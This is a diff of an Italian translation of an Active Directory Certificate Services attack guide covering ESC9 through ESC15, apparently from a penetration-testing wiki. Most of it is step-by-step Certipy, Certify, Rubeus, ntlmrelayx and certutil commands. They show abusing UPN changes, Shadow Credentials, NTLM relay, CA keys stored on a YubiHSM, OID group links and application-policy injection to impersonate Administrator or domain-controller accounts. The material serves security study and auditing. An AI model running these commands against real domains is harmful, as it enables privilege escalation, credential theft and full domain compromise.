valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, noto come ESC9, impedisce l'inserimento della **nuova estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questo flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (l'impostazione predefinita), in contrasto con un'impostazione di `2`. La sua rilevanza aumenta in scenari in cui una mappatura del certificato più debole per Kerberos o Schannel potrebbe essere sfruttata (come in ESC10), dato che l'assenza di ESC9 non altererebbe i requisiti. +Il nuovo valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, denominato ESC9, impedisce l'incorporamento della **nuova estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questa flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (impostazione predefinita), in contrasto con un'impostazione di `2`. La sua importanza aumenta in scenari dove una mappatura del certificato più debole per Kerberos o Schannel potrebbe essere sfruttata (come in ESC10), dato che l'assenza di ESC9 non altererebbe i requisiti. -Le condizioni in cui l'impostazione di questo flag diventa significativa includono: +Le condizioni in cui l'impostazione di questa flag diventa significativa includono: -- `StrongCertificateBindingEnforcement` non è regolato su `2` (con il predefinito che è `1`), o `CertificateMappingMethods` include il flag `UPN`. -- Il certificato è contrassegnato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` all'interno dell'impostazione `msPKI-Enrollment-Flag`. -- Qualsiasi EKU di autenticazione del client è specificato dal certificato. -- I permessi `GenericWrite` sono disponibili su qualsiasi account per compromettere un altro. +- `StrongCertificateBindingEnforcement` non è impostato su `2` (il valore predefinito è `1`), oppure `CertificateMappingMethods` include la flag `UPN`. +- Il certificato è contrassegnato con la flag `CT_FLAG_NO_SECURITY_EXTENSION` nella impostazione `msPKI-Enrollment-Flag`. +- Il certificato specifica qualsiasi client authentication EKU. +- Sono disponibili permessi `GenericWrite` su un account per compromettere un altro. -### Scenario di Abuso +### Abuse Scenario -Supponiamo che `John@corp.local` detenga permessi `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il modello di certificato `ESC9`, a cui `Jane@corp.local` è autorizzata a iscriversi, è configurato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` nella sua impostazione `msPKI-Enrollment-Flag`. +Supponiamo che `John@corp.local` possieda permessi `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il template di certificato `ESC9`, al quale `Jane@corp.local` è autorizzata a enrollare, è configurato con la flag `CT_FLAG_NO_SECURITY_EXTENSION` nella impostazione `msPKI-Enrollment-Flag`. -Inizialmente, l'hash di `Jane` viene acquisito utilizzando Shadow Credentials, grazie a `John`'s `GenericWrite`: +Inizialmente l'hash di Jane viene acquisito usando Shadow Credentials, grazie ai permessi `GenericWrite` di John: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo volutamente la parte del dominio `@corp.local`: +Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo volutamente la parte di dominio `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` Questa modifica non viola i vincoli, dato che `Administrator@corp.local` rimane distinto come `userPrincipalName` di `Administrator`. -Dopo di ciò, il modello di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto come `Jane`: +Successivamente, il template di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto da `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` @@ -474,17 +491,17 @@ Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo originale, `Ja ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Tentare l'autenticazione con il certificato emesso ora restituisce l'hash NT di `Administrator@corp.local`. Il comando deve includere `-domain ` a causa della mancanza di specifica del dominio nel certificato: +Il tentativo di autenticazione con il certificato emesso ora restituisce l'NT hash di `Administrator@corp.local`. Il comando deve includere `-domain ` a causa della mancanza di specificazione del dominio nel certificato: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Weak Certificate Mappings - ESC10 +## Mappature deboli dei certificati - ESC10 ### Spiegazione -Due valori di chiave di registro sul controller di dominio sono indicati da ESC10: +ESC10 fa riferimento a due valori del registro sul domain controller: -- Il valore predefinito per `CertificateMappingMethods` sotto `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato su `0x1F`. +- Il valore predefinito per `CertificateMappingMethods` sotto `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato a `0x1F`. - L'impostazione predefinita per `StrongCertificateBindingEnforcement` sotto `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` è `1`, precedentemente `0`. **Caso 1** @@ -495,69 +512,69 @@ Quando `StrongCertificateBindingEnforcement` è configurato come `0`. Se `CertificateMappingMethods` include il bit `UPN` (`0x4`). -### Caso di Abuso 1 +### Caso di abuso 1 Con `StrongCertificateBindingEnforcement` configurato come `0`, un account A con permessi `GenericWrite` può essere sfruttato per compromettere qualsiasi account B. -Ad esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura rispecchia ESC9, consentendo di utilizzare qualsiasi modello di certificato. +Ad esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura è analoga a ESC9, permettendo l'uso di qualsiasi template di certificato. -Inizialmente, l'hash di `Jane` viene recuperato utilizzando Shadow Credentials, sfruttando il `GenericWrite`. +Inizialmente, l'hash di `Jane` viene recuperato usando Shadow Credentials, sfruttando il `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte `@corp.local` per evitare una violazione dei vincoli. +Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte `@corp.local` per evitare una violazione di un vincolo. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Successivamente, viene richiesta una certificazione che abilita l'autenticazione del client come `Jane`, utilizzando il modello predefinito `User`. +Successivamente, per `Jane` viene richiesto un certificato che abilita l'autenticazione client, utilizzando il template predefinito `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo originale, `Jane@corp.local`. +Il `userPrincipalName` di `Jane` viene poi ripristinato al suo valore originale, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Autenticarsi con il certificato ottenuto restituirà l'hash NT di `Administrator@corp.local`, rendendo necessaria la specifica del dominio nel comando a causa dell'assenza di dettagli sul dominio nel certificato. +L'autenticazione con il certificato ottenuto restituirà l'NT hash di `Administrator@corp.local`, pertanto è necessario specificare il dominio nel comando a causa dell'assenza dei dettagli del dominio nel certificato. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Abuse Case 2 +### Caso di abuso 2 -Con il `CertificateMappingMethods` che contiene il flag bit `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`. +Con i `CertificateMappingMethods` che contengono il bit flag `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`. -Qui, l'obiettivo è compromettere `DC$@corp.local`, iniziando con l'ottenere l'hash di `Jane` tramite Shadow Credentials, sfruttando il `GenericWrite`. +Qui, l'obiettivo è compromettere `DC$@corp.local`, iniziando dall'ottenere l'hash di `Jane` tramite Shadow Credentials, sfruttando il `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`'s `userPrincipalName` è quindi impostato su `DC$@corp.local`. +Il `userPrincipalName` di `Jane` viene quindi impostato su `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Un certificato per l'autenticazione del client viene richiesto come `Jane` utilizzando il modello predefinito `User`. +Viene richiesto un certificato per l'autenticazione del client come `Jane` usando il template predefinito `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Il `userPrincipalName` di `Jane` viene ripristinato al suo originale dopo questo processo. +Il `userPrincipalName` di `Jane` viene ripristinato al suo valore originale dopo questo processo. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Per autenticarsi tramite Schannel, viene utilizzata l'opzione `-ldap-shell` di Certipy, che indica il successo dell'autenticazione come `u:CORP\DC$`. +Per autenticarsi via Schannel, si utilizza l'opzione `-ldap-shell` di Certipy, che indica il successo dell'autenticazione come `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Attraverso la shell LDAP, comandi come `set_rbcd` abilitano attacchi di Delegazione Constrainata Basata su Risorse (RBCD), compromettendo potenzialmente il controller di dominio. +Attraverso la shell LDAP, comandi come `set_rbcd` abilitano attacchi Resource-Based Constrained Delegation (RBCD), compromettendo potenzialmente il domain controller. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Questa vulnerabilità si estende anche a qualsiasi account utente privo di un `userPrincipalName` o in cui non corrisponde al `sAMAccountName`, con il predefinito `Administrator@corp.local` che è un obiettivo principale a causa dei suoi privilegi LDAP elevati e dell'assenza di un `userPrincipalName` per impostazione predefinita. +Questa vulnerabilità si estende anche a qualsiasi account utente privo di `userPrincipalName` o in cui questo non corrisponda a `sAMAccountName`, con il predefinito `Administrator@corp.local` che rappresenta un obiettivo primario a causa dei suoi privilegi LDAP elevati e dell'assenza, per impostazione predefinita, di un `userPrincipalName`. ## Relaying NTLM to ICPR - ESC11 ### Spiegazione -Se il server CA non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, può essere soggetto ad attacchi di relay NTLM senza firma tramite il servizio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Se il CA Server non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, ciò può permettere NTLM relay attacks senza firma tramite il servizio RPC. [Riferimento](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Puoi usare `certipy` per enumerare se `Enforce Encryption for Requests` è disabilitato e certipy mostrerà le vulnerabilità `ESC11`. +Puoi usare `certipy` per enumerare se `Enforce Encryption for Requests` è Disabled e certipy mostrerà le Vulnerabilità `ESC11`. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -574,9 +591,9 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Abuse Scenario +### Scenario di abuso -È necessario configurare un server di relay: +È necessario configurare un relay server: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -595,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Nota: Per i controller di dominio, dobbiamo specificare `-template` in DomainController. +Nota: Per i domain controller, dobbiamo specificare `-template` in DomainController. -Oppure utilizzando [il fork di impacket di sploutchy](https://github.com/sploutchy/impacket): +Oppure usando [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Accesso shell a ADCS CA con YubiHSM - ESC12 +## Shell access to ADCS CA with YubiHSM - ESC12 ### Spiegazione -Gli amministratori possono configurare l'Autorità di Certificazione per memorizzarla su un dispositivo esterno come il "Yubico YubiHSM2". +Gli amministratori possono configurare la Certificate Authority per memorizzarla su un dispositivo esterno come lo Yubico YubiHSM2. -Se un dispositivo USB è connesso al server CA tramite una porta USB, o un server di dispositivo USB nel caso in cui il server CA sia una macchina virtuale, è necessaria una chiave di autenticazione (a volte chiamata "password") affinché il Key Storage Provider generi e utilizzi chiavi nel YubiHSM. +Se il dispositivo USB è collegato al server CA tramite una porta USB, o a un USB device server nel caso in cui il server CA sia una macchina virtuale, è richiesta una chiave di autenticazione (talvolta chiamata "password") per permettere al Key Storage Provider di generare e utilizzare le chiavi nel YubiHSM. Questa chiave/password è memorizzata nel registro sotto `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in chiaro. -Riferimento [qui](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### Scenario di abuso -Se la chiave privata della CA è memorizzata su un dispositivo USB fisico quando hai ottenuto accesso shell, è possibile recuperare la chiave. +Se la chiave privata della CA è memorizzata su un dispositivo USB fisico e si ottiene shell access, è possibile recuperare la chiave. -Per prima cosa, devi ottenere il certificato CA (questo è pubblico) e poi: +Per prima cosa, è necessario ottenere il certificato della CA (è pubblico) e poi: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -625,15 +642,15 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Infine, usa il comando certutil `-sign` per forgiare un nuovo certificato arbitrario utilizzando il certificato CA e la sua chiave privata. +Infine, usa il comando certutil `-sign` per forgiare un nuovo certificato arbitrario usando il certificato CA e la sua chiave privata. -## Abuso del Link del Gruppo OID - ESC13 +## OID Group Link Abuse - ESC13 ### Spiegazione -L'attributo `msPKI-Certificate-Policy` consente di aggiungere la policy di emissione al modello di certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili dell'emissione delle policy possono essere scoperti nel Contesto di Nominazione della Configurazione (CN=OID,CN=Public Key Services,CN=Services) del contenitore OID PKI. Una policy può essere collegata a un gruppo AD utilizzando l'attributo `msDS-OIDToGroupLink` di questo oggetto, consentendo a un sistema di autorizzare un utente che presenta il certificato come se fosse un membro del gruppo. [Riferimento qui](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +L'attributo `msPKI-Certificate-Policy` permette di aggiungere la issuance policy al template del certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili dell'emissione delle policy possono essere scoperti nel Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) del PKI OID container. Una policy può essere collegata a un gruppo AD usando l'attributo `msDS-OIDToGroupLink` di questo oggetto, permettendo a un sistema di autorizzare un utente che presenta il certificato come se fosse membro del gruppo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -In altre parole, quando un utente ha il permesso di registrare un certificato e il certificato è collegato a un gruppo OID, l'utente può ereditare i privilegi di questo gruppo. +In altre parole, quando un utente ha il permesso di richiedere un certificato e il certificato è collegato a un gruppo OID, l'utente può ereditare i privilegi di quel gruppo. Usa [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) per trovare OIDToGroupLink: ```bash @@ -657,69 +674,69 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ------------------------ ``` -### Abuse Scenario +### Scenario di abuso -Trova un permesso utente che può utilizzare `certipy find` o `Certify.exe find /showAllPermissions`. +Trova un permesso utente che può essere usato con `certipy find` o `Certify.exe find /showAllPermissions`. -Se `John` ha il permesso di registrare `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`. +Se `John` ha il permesso di eseguire l'enrollment per `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`. -Tutto ciò che deve fare è specificare il template, otterrà un certificato con diritti OIDToGroupLink. +Tutto quello che deve fare è specificare il template: otterrà un certificato con i diritti OIDToGroupLink. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Vulnerable Certificate Renewal Configuration- ESC14 +## Configurazione vulnerabile del rinnovo dei certificati - ESC14 -### Explanation +### Spiegazione -La descrizione su https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping è notevolmente dettagliata. Di seguito è riportata una citazione del testo originale. +La descrizione su https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping è notevolmente completa. Di seguito una citazione del testo originale. -ESC14 affronta le vulnerabilità derivanti da "debole mappatura esplicita dei certificati", principalmente attraverso l'uso improprio o la configurazione non sicura dell'attributo `altSecurityIdentities` sugli account utente o computer di Active Directory. Questo attributo a più valori consente agli amministratori di associare manualmente i certificati X.509 a un account AD per scopi di autenticazione. Quando popolati, queste mappature esplicite possono sovrascrivere la logica di mappatura dei certificati predefinita, che si basa tipicamente su UPN o nomi DNS nel SAN del certificato, o sul SID incorporato nell'estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`. +ESC14 affronta le vulnerabilità derivanti da una "weak explicit certificate mapping", principalmente attraverso l'uso improprio o una configurazione insicura dell'attributo `altSecurityIdentities` sugli account utente o computer di Active Directory. Questo attributo multivalore permette agli amministratori di associare manualmente certificati X.509 a un account AD per scopi di autenticazione. Quando popolato, questo mapping esplicito può sovrascrivere la logica di mapping dei certificati predefinita, che tipicamente si basa su UPNs o nomi DNS nel SAN del certificato, o sul SID incorporato nell'estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`. -Una mappatura "debole" si verifica quando il valore della stringa utilizzato all'interno dell'attributo `altSecurityIdentities` per identificare un certificato è troppo ampio, facilmente indovinabile, si basa su campi di certificato non unici o utilizza componenti di certificato facilmente falsificabili. Se un attaccante riesce a ottenere o creare un certificato i cui attributi corrispondono a una mappatura esplicita definita in modo debole per un account privilegiato, può utilizzare quel certificato per autenticarsi e impersonare quell'account. +Una mappatura "debole" si verifica quando il valore stringa usato all'interno dell'attributo `altSecurityIdentities` per identificare un certificato è troppo ampio, facilmente indovinabile, si basa su campi del certificato non unici o utilizza componenti del certificato facilmente contraffabili. Se un attaccante può ottenere o creare un certificato i cui attributi corrispondono a una tale mappatura esplicita definita debolmente per un account privilegiato, può usare quel certificato per autenticarsi e impersonare quell'account. -Esempi di stringhe di mappatura `altSecurityIdentities` potenzialmente deboli includono: +Esempi di possibili stringhe di mapping deboli in `altSecurityIdentities` includono: -- Mappatura esclusivamente tramite un comune Nome Comune del Soggetto (CN): ad es., `X509:CN=SomeUser`. Un attaccante potrebbe essere in grado di ottenere un certificato con questo CN da una fonte meno sicura. -- Utilizzo di Nomi Distinti dell'Emittente (DN) o DN del Soggetto eccessivamente generici senza ulteriore qualificazione come un numero di serie specifico o un identificatore di chiave del soggetto: ad es., `X509:CN=SomeInternalCACN=GenericUser`. -- Impiego di altri schemi prevedibili o identificatori non crittografici che un attaccante potrebbe essere in grado di soddisfare in un certificato che può legittimamente ottenere o falsificare (se ha compromesso un CA o trovato un modello vulnerabile come in ESC1). +- Mappatura basata esclusivamente su un Common Name (CN) del Subject comune: p.es., `X509:CN=SomeUser`. Un attaccante potrebbe riuscire a ottenere un certificato con quel CN da una fonte meno sicura. +- Uso di Issuer Distinguished Names (DN) o Subject DNs eccessivamente generici senza ulteriore qualificazione come un numero di seriale specifico o subject key identifier: p.es., `X509:CN=SomeInternalCACN=GenericUser`. +- Impiego di altri pattern prevedibili o identificatori non crittografici che un attaccante potrebbe soddisfare in un certificato che può legittimamente ottenere o forgiare (se ha compromesso una CA o trovato un template vulnerabile come in ESC1). -L'attributo `altSecurityIdentities` supporta vari formati per la mappatura, come: +L'attributo `altSecurityIdentities` supporta vari formati per il mapping, come ad esempio: -- `X509:IssuerDNSubjectDN` (mappa per DN completo dell'Emittente e del Soggetto) +- `X509:IssuerDNSubjectDN` (mappa per Issuer e Subject DN completi) - `X509:SubjectKeyIdentifier` (mappa per il valore dell'estensione Subject Key Identifier del certificato) -- `X509:SerialNumberBackedByIssuerDN` (mappa per numero di serie, implicitamente qualificato dal DN dell'Emittente) - questo non è un formato standard, di solito è `IssuerDNSerialNumber`. +- `X509:SerialNumberBackedByIssuerDN` (mappa per numero di seriale, implicitamente qualificato dall'Issuer DN) - questo non è un formato standard, solitamente è `IssuerDNSerialNumber`. - `X509:EmailAddress` (mappa per un nome RFC822, tipicamente un indirizzo email, dal SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (mappa per un hash SHA1 della chiave pubblica grezza del certificato - generalmente forte) +- `X509:Thumbprint-of-Raw-PublicKey` (mappa per un hash SHA1 della raw public key del certificato - generalmente forte) -La sicurezza di queste mappature dipende fortemente dalla specificità, unicità e forza crittografica degli identificatori di certificato scelti utilizzati nella stringa di mappatura. Anche con modalità di binding dei certificati forti abilitate sui Domain Controllers (che influenzano principalmente le mappature implicite basate su UPN/DNS SAN e l'estensione SID), un'entrata `altSecurityIdentities` mal configurata può comunque presentare un percorso diretto per l'impersonificazione se la logica di mappatura stessa è difettosa o troppo permissiva. -### Abuse Scenario +La sicurezza di questi mapping dipende fortemente dalla specificità, dall'unicità e dalla robustezza crittografica degli identificatori di certificato scelti nella stringa di mapping. Anche con modalità di certificate binding forti abilitate sui Domain Controller (che influenzano principalmente i mapping impliciti basati su SAN UPNs/DNS e l'estensione SID), una voce `altSecurityIdentities` configurata male può comunque rappresentare una via diretta per l'impersonificazione se la logica di mapping stessa è difettosa o troppo permissiva. +### Scenario di abuso -ESC14 mira a **mappature esplicite dei certificati** in Active Directory (AD), specificamente all'attributo `altSecurityIdentities`. Se questo attributo è impostato (per design o misconfigurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono alla mappatura. +ESC14 prende di mira le **explicit certificate mappings** in Active Directory (AD), specificamente l'attributo `altSecurityIdentities`. Se questo attributo è impostato (per progetto o per errata configurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono al mapping. -#### Scenario A: L'attaccante può scrivere su `altSecurityIdentities` +#### Scenario A: L'attaccante può scrivere in `altSecurityIdentities` -**Precondizione**: L'attaccante ha permessi di scrittura sull'attributo `altSecurityIdentities` dell'account target o il permesso di concederlo sotto forma di uno dei seguenti permessi sull'oggetto AD target: -- Scrivere proprietà `altSecurityIdentities` -- Scrivere proprietà `Public-Information` -- Scrivere proprietà (tutte) +**Precondizione**: L'attaccante ha permessi di scrittura sull'attributo `altSecurityIdentities` dell'account target oppure il permesso per concederlo sotto forma di uno dei seguenti permessi sull'oggetto AD target: +- Write property `altSecurityIdentities` +- Write property `Public-Information` +- Write property (all) - `WriteDACL` - `WriteOwner`* - `GenericWrite` - `GenericAll` -- Proprietario*. -#### Scenario B: Il target ha una mappatura debole tramite X509RFC822 (Email) +- Owner*. +#### Scenario B: Il target ha una mappatura debole via X509RFC822 (Email) -- **Precondizione**: Il target ha una mappatura debole X509RFC822 in altSecurityIdentities. Un attaccante può impostare l'attributo email della vittima per corrispondere al nome X509RFC822 del target, registrare un certificato come la vittima e usarlo per autenticarsi come il target. +- **Precondizione**: Il target ha una mappatura X509RFC822 debole in altSecurityIdentities. Un attaccante può impostare l'attributo mail della vittima per farlo corrispondere al nome X509RFC822 del target, richiedere un certificato come la vittima e usarlo per autenticarsi come il target. #### Scenario C: Il target ha una mappatura X509IssuerSubject -- **Precondizione**: Il target ha una mappatura esplicita X509IssuerSubject debole in `altSecurityIdentities`. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principale vittima per corrispondere al soggetto della mappatura X509IssuerSubject del target. Poi, l'attaccante può registrare un certificato come la vittima e utilizzare questo certificato per autenticarsi come il target. +- **Precondizione**: Il target ha una mappatura esplicita X509IssuerSubject in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject della mappatura X509IssuerSubject del target. Poi, l'attaccante può richiedere un certificato come la vittima e usare questo certificato per autenticarsi come il target. #### Scenario D: Il target ha una mappatura X509SubjectOnly -- **Precondizione**: Il target ha una mappatura esplicita X509SubjectOnly debole in `altSecurityIdentities`. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principale vittima per corrispondere al soggetto della mappatura X509SubjectOnly del target. Poi, l'attaccante può registrare un certificato come la vittima e utilizzare questo certificato per autenticarsi come il target. -### concrete operations +- **Precondizione**: Il target ha una mappatura esplicita X509SubjectOnly in `altSecurityIdentities` debole. L'attaccante può impostare l'attributo `cn` o `dNSHostName` su un principal vittima per farlo corrispondere al subject della mappatura X509SubjectOnly del target. Poi, l'attaccante può richiedere un certificato come la vittima e usare questo certificato per autenticarsi come il target. +### operazioni concrete #### Scenario A -Richiedere un certificato del modello di certificato `Machine` +Richiedere un certificato dal template di certificato `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -727,7 +744,7 @@ Salva e converti il certificato ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -Autenticare (utilizzando il certificato) +Autenticarsi (utilizzando il certificato) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` @@ -735,27 +752,28 @@ Pulizia (opzionale) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Per metodi di attacco più specifici in vari scenari di attacco, si prega di fare riferimento al seguente: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Per metodi di attacco più specifici in diversi scenari di attacco, fare riferimento a: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu Application Policies(CVE-2024-49019) - ESC15 +## EKUwu Politiche di Applicazione(CVE-2024-49019) - ESC15 ### Spiegazione -La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è notevolmente dettagliata. Di seguito è riportata una citazione del testo originale. +La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è straordinariamente dettagliata. Di seguito una citazione del testo originale. -Utilizzando i modelli di certificato predefiniti della versione 1, un attaccante può creare un CSR per includere politiche applicative che sono preferite rispetto agli attributi di Extended Key Usage configurati specificati nel modello. L'unico requisito è il diritto di iscrizione, e può essere utilizzato per generare certificati di autenticazione client, agenti di richiesta di certificato e certificati di firma del codice utilizzando il modello **_WebServer_**. +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template ### Abuso -Il seguente è riferito a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), clicca per vedere metodi di utilizzo più dettagliati. +Quanto segue fa riferimento a [questo link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Clicca per vedere metodi di utilizzo più dettagliati. -Il comando `find` di Certipy può aiutare a identificare i modelli V1 che sono potenzialmente suscettibili a ESC15 se il CA non è aggiornato. + +Il comando `find` di Certipy può aiutare a identificare template V1 potenzialmente suscettibili a ESC15 se la CA non è aggiornata. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenario A: Impersonificazione Diretta tramite Schannel +#### Scenario A: Impersonamento diretto via Schannel -**Step 1: Richiedere un certificato, iniettando la Politica dell'Applicazione "Client Authentication" e il UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` utilizzando il modello "WebServer" V1 (che consente il soggetto fornito dall'iscritto). +**Passo 1: Richiedere un certificato, iniettando la Application Policy "Client Authentication" e l'UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` usando il template "WebServer" V1 (che permette il subject fornito dal richiedente). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -764,17 +782,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Il modello vulnerabile V1 con "L'iscritto fornisce il soggetto". -- `-application-policies 'Client Authentication'`: Inietta l'OID `1.3.6.1.5.5.7.3.2` nell'estensione delle Politiche dell'Applicazione del CSR. -- `-upn 'administrator@corp.local'`: Imposta l'UPN nel SAN per impersonificazione. +- `-template 'WebServer'`: Il template V1 vulnerabile con "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Inserisce l'OID `1.3.6.1.5.5.7.3.2` nell'estensione Application Policies del CSR. +- `-upn 'administrator@corp.local'`: Imposta l'UPN nel SAN per l'impersonazione. -**Step 2: Autenticati tramite Schannel (LDAPS) utilizzando il certificato ottenuto.** +**Passo 2: Autenticarsi tramite Schannel (LDAPS) usando il certificato ottenuto.** ```bash certipy auth -pfx 